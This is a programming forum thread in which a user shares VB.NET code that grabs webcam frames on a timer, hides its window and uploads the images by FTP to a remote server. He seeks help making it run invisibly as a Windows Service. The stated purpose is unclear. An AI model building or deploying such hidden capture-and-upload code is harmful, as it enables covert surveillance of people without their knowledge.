Webcam Problems continued....
Good Afternoon Again,
I have now managed to get the Webcam Code working reliably (well almost) it now doesn't bomb out costantly takes pictures and saves themas I wanted however I have noticed a bug (or privacy feature?)
The webcam work perfectly all the time the form is on the screen and visible but when you hide the form with Me.Hide() it starts recording part of the screen (depending on the resolution I specified to record in). Is this a bug of a privacy feature?
Secondly my ultimate goal would be to run this program as a Windows Service which I can easily do but before I go to the trouble of making it as a service does anyone know if the wecam is going to work in a service before I go to the trouble of that?
Lastly does anyone know how to specify the webcam to use, or if there is different code out there that will work better?
Also if someone has the answer of the first question I would greatly appreciate it.
Regards,
Max
Re: Webcam Problems continued....
Ok I have noticed something else, Even if the form is visable but the picture box is half of the edge of the form it only saves the picture from the cam which was on the form. Something odd there. Is there any way to save the picture directly from the cam to see if this fixes it rather than pasting the image to a picture box then saving. here is the code I have again:
Camera Class:
Code:
Option Explicit On
Option Strict On
Public Class iCam
#Region "Api/constants"
Private Const WS_CHILD As Integer = &H40000000
Private Const WS_VISIBLE As Integer = &H10000000
Private Const SWP_NOMOVE As Short = &H2S
Private Const SWP_NOZORDER As Short = &H4S
Private Const WM_USER As Short = &H400S
Private Const WM_CAP_DRIVER_CONNECT As Integer = WM_USER + 10
Private Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_USER + 11
Private Const WM_CAP_SET_VIDEOFORMAT As Integer = WM_USER + 45
Private Const WM_CAP_SET_PREVIEW As Integer = WM_USER + 50
Private Const WM_CAP_SET_PREVIEWRATE As Integer = WM_USER + 52
Private Const WM_CAP_GET_FRAME As Long = 1084
Private Const WM_CAP_COPY As Long = 1054
Private Const WM_CAP_START As Long = WM_USER
Private Const WM_CAP_STOP As Long = (WM_CAP_START + 68)
Private Const WM_CAP_SEQUENCE As Long = (WM_CAP_START + 62)
Private Const WM_CAP_SET_SEQUENCE_SETUP As Long = (WM_CAP_START + 64)
Private Const WM_CAP_FILE_SET_CAPTURE_FILEA As Long = (WM_CAP_START + 20)
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Short, ByVal lParam As String) As Integer
Private Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Integer, ByVal x As Integer, ByVal y As Integer, ByVal nWidth As Integer, ByVal nHeight As Short, ByVal hWndParent As Integer, ByVal nID As Integer) As Integer
Private Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
Private Declare Function BitBlt Lib "GDI32.DLL" (ByVal hdcDest As IntPtr, ByVal nXDest As Integer, ByVal nYDest As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer, ByVal hdcSrc As IntPtr, ByVal nXSrc As Integer, ByVal nYSrc As Integer, ByVal dwRop As Int32) As Boolean
#End Region
Private iDevice As String
Private hHwnd As Integer
Private lwndC As Integer
Public iRunning As Boolean
Private CamFrameRate As Integer = 5
Private OutputHeight As Integer = 640
Private OutputWidth As Integer = 480
Public Sub resetCam()
'resets the camera after setting change
If iRunning Then
closeCam()
Application.DoEvents()
If setCam() = False Then
MessageBox.Show("Errror Setting/Re-Setting Camera")
End If
End If
End Sub
Public Sub initCam(ByVal parentH As Integer)
'Gets the handle and initiates camera setup
If Me.iRunning = True Then
MessageBox.Show("Camera Is Already Running")
Exit Sub
Else
hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, OutputWidth, CShort(OutputHeight), parentH, 0)
If setCam() = False Then
MessageBox.Show("Error setting Up Camera")
End If
End If
End Sub
Public Sub setFrameRate(ByVal iRate As Long)
'sets the frame rate of the camera
CamFrameRate = CInt(1000 / iRate)
resetCam()
End Sub
Private Function setCam() As Boolean
'Sets all the camera up
If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, CShort(iDevice), CType(0, String)) = 1 Then
SendMessage(hHwnd, WM_CAP_SET_PREVIEWRATE, CShort(CamFrameRate), CType(0, String))
SendMessage(hHwnd, WM_CAP_SET_PREVIEW, 1, CType(0, String))
Me.iRunning = True
Return True
Else
Me.iRunning = False
Return False
End If
End Function
Public Function closeCam() As Boolean
'Closes the camera
If Me.iRunning Then
closeCam = CBool(SendMessage(hHwnd, WM_CAP_DRIVER_DISCONNECT, 0, CType(0, String)))
Me.iRunning = False
End If
End Function
Public Function copyFrame(ByVal src As PictureBox, ByVal rect As RectangleF) As Bitmap
If iRunning Then
Dim srcPic As Graphics = src.CreateGraphics
Dim srcBmp As New Bitmap(src.Width, src.Height, srcPic)
Dim srcMem As Graphics = Graphics.FromImage(srcBmp)
Dim HDC1 As IntPtr = srcPic.GetHdc
Dim HDC2 As IntPtr = srcMem.GetHdc
BitBlt(HDC2, 0, 0, CInt(rect.Width), _
CInt(rect.Height), HDC1, CInt(rect.X), CInt(rect.Y), 13369376)
copyFrame = CType(srcBmp.Clone(), Bitmap)
'Clean Up
srcPic.ReleaseHdc(HDC1)
srcMem.ReleaseHdc(HDC2)
srcPic.Dispose()
srcMem.Dispose()
Else
MessageBox.Show("Camera Is Not Running!")
End If
End Function
Public Function FPS() As Integer
Return CInt(1000 / (CamFrameRate))
End Function
End Class
Form Code:
Code:
Private Sub frmWatcher_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
myCam = New iCam
myCam.initCam(Me.picOutput.Handle.ToInt32)
FTPCHECK()
Timer1.Start()
End Sub
Private Sub FTPCHECK()
Try
My.Computer.Network.UploadFile("C:\test", "ftp://ftpserver" & Now.Hour & Now.Minute & Now.Second, "user", "pass")
FTPFUNCTION = True
Catch
FTPFUNCTION = False
End Try
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
pbImage.Image = myCam.copyFrame(Me.picOutput, New RectangleF(0, 0, _
Me.picOutput.Width, Me.picOutput.Height))
Me.Hide()
Catch
MsgBox("Catastrophic Error!" & Environment.NewLine & Environment.NewLine & _
"Please contact you System Administrator as soon as possible with number: 15")
End Try
FileToSave = "WCI" & Now.Day & Now.Hour & Now.Minute & Now.Second & ".bmp"
Dim bmp As New Drawing.Bitmap(pbImage.Image.Width, pbImage.Image.Height)
pbImage.DrawToBitmap(bmp, New Rectangle(0, 0, bmp.Width, bmp.Height))
bmp.Save("C:\" & FileToSave)
If FTPFUNCTION = True Then
Try
My.Computer.Network.UploadFile("C:\SW\" & FileToSave, "ftp://ftpserver" & FileToSave, "user", "Pass")
File.Delete("C:\" & FileToSave)
Catch
'DO NOTHING
End Try
End If
End Sub
Private Sub sysTray_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles sysTray.MouseDoubleClick
frmProtected.Show()
End Sub
Private Sub frmWatcher_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseClick
Me.Hide()
End Sub
Re: Webcam Problems continued....
well I think you and I have a similar functionality in our programs and (correct me if I'm wrong) but you're setting the image in a picturebox and then taking a screenshot of the picturebox?
I think the screenshot requires that the form be the topmost window, otherwise it will just take a screenshot of whatever is on screen at those coordinates. here's what I'm about to implement in my program.. I will make sure my program has focus before doing the screenshot part, that way I know it is getting the correct image.
Re: Webcam Problems continued....
Ah thats theproblem I have, my program can't have focus, won't even have a form displayed.. Its all got to run behind the scenes.
If I can save directly from the cam I am happy with that but as far as I know I can't do that at the moment but I am sure there must be a way.
Anyone?
Re: Webcam Problems continued....
im in the same boat. I'd like to take a "screenshot" of a certain part of my form even when it is minimized, but obviously it can't... it would be neat if it could screenshot it if the form wasn't minimized, but just "off screen" non-viewable to the user. then I could override the minimize button and just change the form's position.
Re: Webcam Problems continued....
Ok I see what you mean although I imagine taking a screenshot of something not on screen is impossible but taking a picture from a webcam by an invisible program I can't see why that would be impossible? The only thing I can think of it security feature but that is stupid and it would be a .net feature if so.
I am really stuffed because I need to get something working over today and tomorrow.
I have browsed the web so much I have found one more example but it uses a load of dialogues to setup thecame and its very confusing to me so trying to figure out how to bypass the dialogs and get it working on its own.
Regards,
Max
Re: Webcam Problems continued....
does the webcam store images locally? or ftp maybe? is so, maybe you could just set the .Image of the PictureBox dynamically with the pictures off the hdd. set the webcam to save as a specific filename and use that in your code. might work.
i've never messed with webcam stuff so i'm not too much help on the specifics.
Re: Webcam Problems continued....
Hi,
You can find some good information here, I think.